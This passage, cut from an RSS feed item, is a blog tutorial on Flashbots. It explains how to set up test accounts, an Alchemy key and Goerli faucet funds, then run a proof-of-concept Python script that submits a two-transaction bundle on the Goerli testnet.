to miners.</p></li><li><p>Miners then receive bundles and include them in blocks if it is profitable for them to do so.</p></li></ol><hr><blockquote><p>💡 <em>Enough of bla bla bla, let’s get some code going.</em></p></blockquote><hr><h2 id="h-poc-of-how-flashbots-works-goerli" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">poc of how flashbots works (goerli)</h2><p>Before you run <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/blob/main/flashbots/scripts/flashbots-bundle.py">the PoC I wrote</a>, you need:</p><ol><li><p>Two test accounts on Ethereum (for instance, you can create them on Metamask). Take note of their private keys: one will be an empty wallet for signing/reputation, and the other will hold funds.</p></li><li><p>An <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.alchemy.com/">Alchemy</a> account, then take note of a provider’s <code>URL+KEY</code> for <strong>Goerli</strong>.</p></li><li><p>Some imaginary <strong>Goerli</strong> (fake) money from some faucet, like <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://goerlifaucet.com/">this one</a> for example.</p></li><li><p>Install the required Python 3 packages on a virtual environment, as described <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/Lilith-Security/Source-code-for-blog/tree/main/flashbots-intro">here</a>, then add the info above into a <code>.env</code> file.</p></li></ol><p>You are ready to run your first Flashbots bundle.</p><p>The <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/go-outside-labs/mev-toolkit/blob/main/flashbots/scripts/flashbots-bundle.py">script</a> below sends a bundle of two transactions that transfer <strong>Goerli ETH</strong> into a random account:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/060a307b48f64d38a0bb0889a3f9face5408c66dddf11a5adfd7b3d3cd7d63d6.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>Running this code should print something like this:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/a1533fe1edbb042121c1ab8e4bddae3d7733c14e275837669be38c99c10b52d3.png" alt="Submitting a simple bundle with Flashbots." blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Submitting a simple bundle with Flashbots.</figcaption></figure><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/55524582aceb1c510836103b7a610f5ba319464e029f4904f9c16356a7fadebb.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>